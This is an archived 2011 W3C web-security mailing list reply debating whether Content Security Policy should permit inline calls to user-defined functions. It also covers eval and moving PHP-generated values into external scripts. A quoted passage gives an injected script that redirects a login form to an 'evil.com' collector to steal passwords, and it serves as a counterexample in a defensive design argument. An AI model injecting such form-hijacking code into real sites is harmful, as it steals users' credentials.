W3C home > Mailing lists > Public > public-web-security@w3.org > February 2011

Re: CSP : inline functions ?

From: Devdatta Akhawe <dev.akhawe@gmail.com>
Date: Thu, 24 Feb 2011 18:35:09 -0800
Message-ID: <AANLkTikkTWf6MWX3MvjjDLmz8w7-fPNZRZng5c1Q0Hqb@mail.gmail.com>
To: Daniel Veditz <dveditz@mozilla.com>
Cc: public-web-security@w3.org
> You mean harmless function calls like:
>
> <script>
>  document.getElementsByName("login_form")[0].
>    setAttribute("action","https://evil.com/collector");
> </script>
>

Forgive me, I forgot to say "userdefined functions" only.


> If you could inject that on Yahoo's login page you could steal
> people's passwords when they try to sign in, as an example.
>
>> will be allowed inline, no other inline script execution will be
>> allowed. You still won't be able to do <script> .. javascript ...
>> </script>.
>
> So far the only credible middle-ground proposals to soften CSP's
> current allow/dis-allow binary switch have been
>  - "script-keys" (nonce)
>  - allow inline script in the document <head> only
>
>> The CSP spec at Mozilla
>> (https://wiki.mozilla.org/Security/CSP/Specification) already makes a
>> distinction between arbitrary code being eval'ed and function calls.
>> For example, setTimeout is allowed with function names as arguments
>> but not with strings. It seems this is similar.
>
> Not very similar. Assuming the default inline script blocking both
> the setTimeout() call and the function it's calling are in external
> code files loaded from a domain the site has declared trusted. We
> can't tell with eval() where the code came from: maybe it's safe
> static code, maybe it's from generated content. Safe uses of eval()
> can generally be re-written without eval (see
> https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension);
> eval that uses page content is pretty equivalent to inline script.
>
> CSP currently doesn't block a couple of other eval-ish things:
> document.write() and setting innerHTML. Both can lead to XSS, but
> hopefully that's greatly mitigated if you've blocked inline scripts.
>
>> I feel like this simple change will make retrofitting legacy
>> applications with CSP much easier.
>
> Can you point to an example site that has inline <script> that only
> consists of function calls? As shown above I don't believe this is
> any safer than full inline scripts, but I'm also having a hard time
> imagining that this helps legacy sites.
>

The general issue that your php/perl server side scripts knows a few
values at runtime while generating the javascript code. Trivially

<script>
var important_variable = '<?php echo $value_returned_from_sql; ?>'
// lots of javascript code
</script>
can be turned to

var foo=function foo(important_variable){. ... all javascript code ... }

the latter can go in external script, or in the head or wherever. The
point is that you can then call it from the php script as
<script>foo('<? echo $value_returned_from_sql; ?>');</script>

Are you convinced that this might make porting easier (ignoring
whether it has better security than enabling inline scripts) ?

=devdatta





> -Dan Veditz
>
Received on Friday, 25 February 2011 02:36:03 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Friday, 25 February 2011 02:36:05 GMT